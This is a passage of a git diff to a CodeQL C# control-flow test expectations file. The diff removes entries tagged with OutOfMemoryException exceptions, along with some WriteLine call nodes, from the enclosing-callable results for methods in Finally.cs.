| {...} | Finally.cs:243:13:253:13 | {...} | | Finally.cs:257:9:259:9 | {...} | Finally.cs:250:17:252:17 | {...} | -| Finally.cs:257:9:259:9 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | | Finally.cs:257:9:259:9 | {...} | Finally.cs:257:9:259:9 | {...} | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | enter M1 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | enter M1 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected index 9803e2dec8d..c6d70953677 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected @@ -1830,17 +1830,13 @@ nodeEnclosing | Finally.cs:11:13:11:38 | ...; | Finally.cs:7:10:7:11 | M1 | | Finally.cs:11:31:11:36 | "Try1" | Finally.cs:7:10:7:11 | M1 | | Finally.cs:14:9:16:9 | [finally: exception(Exception)] {...} | Finally.cs:7:10:7:11 | M1 | -| Finally.cs:14:9:16:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:7:10:7:11 | M1 | | Finally.cs:14:9:16:9 | {...} | Finally.cs:7:10:7:11 | M1 | | Finally.cs:15:13:15:40 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:7:10:7:11 | M1 | -| Finally.cs:15:13:15:40 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:7:10:7:11 | M1 | | Finally.cs:15:13:15:40 | call to method WriteLine | Finally.cs:7:10:7:11 | M1 | | Finally.cs:15:13:15:41 | ...; | Finally.cs:7:10:7:11 | M1 | | Finally.cs:15:13:15:41 | [finally: exception(Exception)] ...; | Finally.cs:7:10:7:11 | M1 | -| Finally.cs:15:13:15:41 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:7:10:7:11 | M1 | | Finally.cs:15:31:15:39 | "Finally" | Finally.cs:7:10:7:11 | M1 | | Finally.cs:15:31:15:39 | [finally: exception(Exception)] "Finally" | Finally.cs:7:10:7:11 | M1 | -| Finally.cs:15:31:15:39 | [finally: exception(OutOfMemoryException)] "Finally" | Finally.cs:7:10:7:11 | M1 | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:19:10:19:11 | M2 | | Finally.cs:19:10:19:11 | exit M2 | Finally.cs:19:10:19:11 | M2 | | Finally.cs:19:10:19:11 | exit M2 (abnormal) | Finally.cs:19:10:19:11 | M2 | @@ -1853,13 +1849,11 @@ nodeEnclosing | Finally.cs:23:31:23:36 | "Try2" | Finally.cs:19:10:19:11 | M2 | | Finally.cs:24:13:24:19 | return ...; | Finally.cs:19:10:19:11 | M2 | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:19:10:19:11 | M2 | -| Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:19:10:19:11 | M2 | | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | Finally.cs:19:10:19:11 | M2 | | Finally.cs:26:48:26:51 | [exception: Exception] true | Finally.cs:19:10:19:11 | M2 | | Finally.cs:27:9:29:9 | {...} | Finally.cs:19:10:19:11 | M2 | | Finally.cs:28:13:28:18 | throw ...; | Finally.cs:19:10:19:11 | M2 | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:19:10:19:11 | M2 | -| Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:19:10:19:11 | M2 | | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | Finally.cs:19:10:19:11 | M2 | | Finally.cs:31:9:40:9 | {...} | Finally.cs:19:10:19:11 | M2 | | Finally.cs:32:13:39:13 | try {...} ... | Finally.cs:19:10:19:11 | M2 | @@ -1872,7 +1866,6 @@ nodeEnclosing | Finally.cs:38:23:38:43 | [finally: exception(ArgumentException)] object creation of type Exception | Finally.cs:19:10:19:11 | M2 | | Finally.cs:38:37:38:42 | [finally: exception(ArgumentException)] "Boo!" | Finally.cs:19:10:19:11 | M2 | | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | Finally.cs:19:10:19:11 | M2 | -| Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:19:10:19:11 | M2 | | Finally.cs:42:9:43:9 | {...} | Finally.cs:19:10:19:11 | M2 | | Finally.cs:49:9:51:9 | [finally: exception(Exception)] {...} | Finally.cs:19:10:19:11 | M2 | | Finally.cs:49:9:51:9 | [finally: exception(IOException)] {...} | Finally.cs:19:10:19:11 | M2 | @@ -1902,43 +1895,32 @@ nodeEnclosing | Finally.cs:58:31:58:36 | "Try3" | Finally.cs:54:10:54:11 | M3 | | Finally.cs:59:13:59:19 | return ...; | Finally.cs:54:10:54:11 | M3 | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:54:10:54:11 | M3 | | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | Finally.cs:54:10:54:11 | M3 | | Finally.cs:61:48:61:51 | [exception: Exception] true | Finally.cs:54:10:54:11 | M3 | | Finally.cs:62:9:64:9 | {...} | Finally.cs:54:10:54:11 | M3 | | Finally.cs:63:13:63:18 | throw ...; | Finally.cs:54:10:54:11 | M3 | | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:54:10:54:11 | M3 | | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | Finally.cs:54:10:54:11 | M3 | | Finally.cs:65:35:65:35 | [exception: Exception] access to local variable e | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:65:35:65:35 | [exception: OutOfMemoryException] access to local variable e | Finally.cs:54:10:54:11 | M3 | | Finally.cs:65:35:65:43 | [exception: Exception] access to property Message | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:65:35:65:43 | [exception: OutOfMemoryException] access to property Message | Finally.cs:54:10:54:11 | M3 | | Finally.cs:65:35:65:51 | [exception: Exception] ... != ... | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:65:35:65:51 | [exception: OutOfMemoryException] ... != ... | Finally.cs:54:10:54:11 | M3 | | Finally.cs:65:48:65:51 | [exception: Exception] null | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:65:48:65:51 | [exception: OutOfMemoryException] null | Finally.cs:54:10:54:11 | M3 | | Finally.cs:66:9:67:9 | {...} | Finally.cs:54:10:54:11 | M3 | | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | Finally.cs:54:10:54:11 | M3 | | Finally.cs:69:9:71:9 | [finally: exception(IOException)] {...} | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:54:10:54:11 | M3 | | Finally.cs:69:9:71:9 | [finally: return] {...} | Finally.cs:54:10:54:11 | M3 | | Finally.cs:69:9:71:9 | {...} | Finally.cs:54:10:54:11 | M3 | | Finally.cs:70:13:70:40 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:54:10:54:11 | M3 | | Finally.cs:70:13:70:40 | [finally: exception(IOException)] call to method WriteLine | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:70:13:70:40 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:54:10:54:11 | M3 | | Finally.cs:70:13:70:40 | [finally: return] call to method WriteLine | Finally.cs:54:10:54:11 | M3 | | Finally.cs:70:13:70:40 | call to method WriteLine | Finally.cs:54:10:54:11 | M3 | | Finally.cs:70:13:70:41 | ...; | Finally.cs:54:10:54:11 | M3 | | Finally.cs:70:13:70:41 | [finally: exception(Exception)] ...; | Finally.cs:54:10:54:11 | M3 | | Finally.cs:70:13:70:41 | [finally: exception(IOException)] ...; | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:70:13:70:41 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:54:10:54:11 | M3 | | Finally.cs:70:13:70:41 | [finally: return] ...; | Finally.cs:54:10:54:11 | M3 | | Finally.cs:70:31:70:39 | "Finally" | Finally.cs:54:10:54:11 | M3 | | Finally.cs:70:31:70:39 | [finally: exception(Exception)] "Finally" | Finally.cs:54:10:54:11 | M3 | | Finally.cs:70:31:70:39 | [finally: exception(IOException)] "Finally" | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:70:31:70:39 | [finally: exception(OutOfMemoryException)] "Finally" | Finally.cs:54:10:54:11 | M3 | | Finally.cs:70:31:70:39 | [finally: return] "Finally" | Finally.cs:54:10:54:11 | M3 | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:74:10:74:11 | M4 | | Finally.cs:74:10:74:11 | exit M4 | Finally.cs:74:10:74:11 | M4 | @@ -2192,17 +2174,13 @@ nodeEnclosing | Finally.cs:137:13:137:37 | ...; | Finally.cs:133:10:133:11 | M7 | | Finally.cs:137:31:137:35 | "Try" | Finally.cs:133:10:133:11 | M7 | | Finally.cs:140:9:143:9 | [finally: exception(Exception)] {...} | Finally.cs:133:10:133:11 | M7 | -| Finally.cs:140:9:143:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:133:10:133:11 | M7 | | Finally.cs:140:9:143:9 | {...} | Finally.cs:133:10:133:11 | M7 | | Finally.cs:141:13:141:44 | [finally: exception(Exception)] throw ...; | Finally.cs:133:10:133:11 | M7 | -| Finally.cs:141:13:141:44 | [finally: exception(OutOfMemoryException)] throw ...; | Finally.cs:133:10:133:11 | M7 | | Finally.cs:141:13:141:44 | throw ...; | Finally.cs:133:10:133:11 | M7 | | Finally.cs:141:19:141:43 | [finally: exception(Exception)] object creation of type ArgumentException | Finally.cs:133:10:133:11 | M7 | -| Finally.cs:141:19:141:43 | [finally: exception(OutOfMemoryException)] object creation of type ArgumentException | Finally.cs:133:10:133:11 | M7 | | Finally.cs:141:19:141:43 | object creation of type ArgumentException | Finally.cs:133:10:133:11 | M7 | | Finally.cs:141:41:141:42 | "" | Finally.cs:133:10:133:11 | M7 | | Finally.cs:141:41:141:42 | [finally: exception(Exception)] "" | Finally.cs:133:10:133:11 | M7 | -| Finally.cs:141:41:141:42 | [finally: exception(OutOfMemoryException)] "" | Finally.cs:133:10:133:11 | M7 | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:147:10:147:11 | M8 | | Finally.cs:147:10:147:11 | exit M8 | Finally.cs:147:10:147:11 | M8 | | Finally.cs:147:10:147:11 | exit M8 (abnormal) | Finally.cs:147:10:147:11 | M8 | @@ -2251,58 +2229,40 @@ nodeEnclosing | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:39 | [exception: Exception] access to local variable e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:39 | [exception: NullReferenceException] access to local variable e | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:39:161:39 | [exception: OutOfMemoryException] access to local variable e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: Exception] access to local variable e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to local variable e | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to local variable e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: Exception] access to local variable e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: NullReferenceException] access to local variable e | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: OutOfMemoryException] access to local variable e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:47 | [exception: Exception] access to property Message | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:47 | [exception: NullReferenceException] access to property Message | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:39:161:47 | [exception: OutOfMemoryException] access to property Message | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: Exception] access to property Message | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to property Message | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to property Message | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: Exception] access to property Message | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: NullReferenceException] access to property Message | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: OutOfMemoryException] access to property Message | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:54 | [exception: Exception] ... == ... | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:54 | [exception: NullReferenceException] ... == ... | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:39:161:54 | [exception: OutOfMemoryException] ... == ... | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: Exception] ... == ... | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] ... == ... | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] ... == ... | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: Exception] ... == ... | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: NullReferenceException] ... == ... | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] ... == ... | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:52:161:54 | [exception: Exception] "1" | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:52:161:54 | [exception: NullReferenceException] "1" | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:52:161:54 | [exception: OutOfMemoryException] "1" | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: Exception] "1" | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] "1" | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] "1" | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: Exception] "1" | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: NullReferenceException] "1" | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] "1" | Finally.cs:147:10:147:11 | M8 | | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:162:13:164:13 | {...} | Finally.cs:147:10:147:11 | M8 | @@ -2582,20 +2542,16 @@ nodeEnclosing | Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:233:10:233:12 | M12 | | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:257:9:259:9 | {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | | Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:258:13:258:46 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | | Finally.cs:258:13:258:46 | call to method WriteLine | Finally.cs:233:10:233:12 | M12 | | Finally.cs:258:13:258:47 | ...; | Finally.cs:233:10:233:12 | M12 | | Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | Finally.cs:233:10:233:12 | M12 | | Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:233:10:233:12 | M12 | | Finally.cs:258:31:258:45 | "Outer finally" | Finally.cs:233:10:233:12 | M12 | | Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | Finally.cs:233:10:233:12 | M12 | | Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | Finally.cs:233:10:233:12 | M12 | | Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:233:10:233:12 | M12 | | Finally.cs:260:9:260:34 | ...; | Finally.cs:233:10:233:12 | M12 | | Finally.cs:260:27:260:32 | "Done" | Finally.cs:233:10:233:12 | M12 | @@ -5135,45 +5091,33 @@ blockEnclosing | Extensions.cs:20:17:20:20 | enter Main | Extensions.cs:20:17:20:20 | Main | | Finally.cs:7:10:7:11 | enter M1 | Finally.cs:7:10:7:11 | M1 | | Finally.cs:7:10:7:11 | exit M1 | Finally.cs:7:10:7:11 | M1 | -| Finally.cs:7:10:7:11 | exit M1 (abnormal) | Finally.cs:7:10:7:11 | M1 | -| Finally.cs:11:13:11:37 | call to method WriteLine | Finally.cs:7:10:7:11 | M1 | | Finally.cs:14:9:16:9 | [finally: exception(Exception)] {...} | Finally.cs:7:10:7:11 | M1 | -| Finally.cs:14:9:16:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:7:10:7:11 | M1 | | Finally.cs:14:9:16:9 | {...} | Finally.cs:7:10:7:11 | M1 | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:19:10:19:11 | M2 | | Finally.cs:19:10:19:11 | exit M2 | Finally.cs:19:10:19:11 | M2 | | Finally.cs:19:10:19:11 | exit M2 (abnormal) | Finally.cs:19:10:19:11 | M2 | | Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:19:10:19:11 | M2 | -| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:19:10:19:11 | M2 | | Finally.cs:24:13:24:19 | return ...; | Finally.cs:19:10:19:11 | M2 | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:19:10:19:11 | M2 | -| Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:19:10:19:11 | M2 | | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | Finally.cs:19:10:19:11 | M2 | | Finally.cs:27:9:29:9 | {...} | Finally.cs:19:10:19:11 | M2 | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:19:10:19:11 | M2 | -| Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:19:10:19:11 | M2 | | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | Finally.cs:19:10:19:11 | M2 | | Finally.cs:34:27:34:32 | throw ...; | Finally.cs:19:10:19:11 | M2 | | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | Finally.cs:19:10:19:11 | M2 | -| Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:19:10:19:11 | M2 | | Finally.cs:42:9:43:9 | {...} | Finally.cs:19:10:19:11 | M2 | | Finally.cs:54:10:54:11 | enter M3 | Finally.cs:54:10:54:11 | M3 | | Finally.cs:54:10:54:11 | exit M3 | Finally.cs:54:10:54:11 | M3 | | Finally.cs:54:10:54:11 | exit M3 (abnormal) | Finally.cs:54:10:54:11 | M3 | | Finally.cs:54:10:54:11 | exit M3 (normal) | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:54:10:54:11 | M3 | | Finally.cs:59:13:59:19 | return ...; | Finally.cs:54:10:54:11 | M3 | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:54:10:54:11 | M3 | | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | Finally.cs:54:10:54:11 | M3 | | Finally.cs:62:9:64:9 | {...} | Finally.cs:54:10:54:11 | M3 | | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:54:10:54:11 | M3 | | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | Finally.cs:54:10:54:11 | M3 | | Finally.cs:66:9:67:9 | {...} | Finally.cs:54:10:54:11 | M3 | | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | Finally.cs:54:10:54:11 | M3 | -| Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:54:10:54:11 | M3 | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:74:10:74:11 | M4 | | Finally.cs:74:10:74:11 | exit M4 | Finally.cs:74:10:74:11 | M4 | | Finally.cs:74:10:74:11 | exit M4 (abnormal) | Finally.cs:74:10:74:11 | M4 | @@ -5245,9 +5189,7 @@ blockEnclosing | Finally.cs:121:10:121:11 | enter M6 | Finally.cs:121:10:121:11 | M6 | | Finally.cs:133:10:133:11 | enter M7 | Finally.cs:133:10:133:11 | M7 | | Finally.cs:133:10:133:11 | exit M7 (abnormal) | Finally.cs:133:10:133:11 | M7 | -| Finally.cs:137:13:137:36 | call to method WriteLine | Finally.cs:133:10:133:11 | M7 | | Finally.cs:140:9:143:9 | [finally: exception(Exception)] {...} | Finally.cs:133:10:133:11 | M7 | -| Finally.cs:140:9:143:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:133:10:133:11 | M7 | | Finally.cs:140:9:143:9 | {...} | Finally.cs:133:10:133:11 | M7 | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:147:10:147:11 | M8 | | Finally.cs:147:10:147:11 | exit M8 | Finally.cs:147:10:147:11 | M8 | @@ -5263,30 +5205,21 @@ blockEnclosing | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | Finally.cs:147:10:147:11 | M8 | | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | Finally.cs:147:10:147:11 | M8 | | Finally.cs:159:21:159:45 | throw ...; | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:159:27:159:44 | object creation of type Exception | Finally.cs:147:10:147:11 | M8 | | Finally.cs:159:41:159:43 | "1" | Finally.cs:147:10:147:11 | M8 | | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | Finally.cs:147:10:147:11 | M8 | | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | Finally.cs:147:10:147:11 | M8 | -| Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | Finally.cs:147:10:147:11 | M8 | | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | Finally.cs:147:10:147:11 | M8 | | Finally.cs:162:13:164:13 | {...} | Finally.cs:147:10:147:11 | M8 | @@ -5353,7 +5286,6 @@ blockEnclosing | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | Finally.cs:195:10:195:12 | M10 | | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | Finally.cs:195:10:195:12 | M10 | | Finally.cs:216:10:216:12 | enter M11 | Finally.cs:216:10:216:12 | M11 | -| Finally.cs:220:13:220:36 | call to method WriteLine | Finally.cs:216:10:216:12 | M11 | | Finally.cs:222:9:225:9 | catch {...} | Finally.cs:216:10:216:12 | M11 | | Finally.cs:227:9:229:9 | 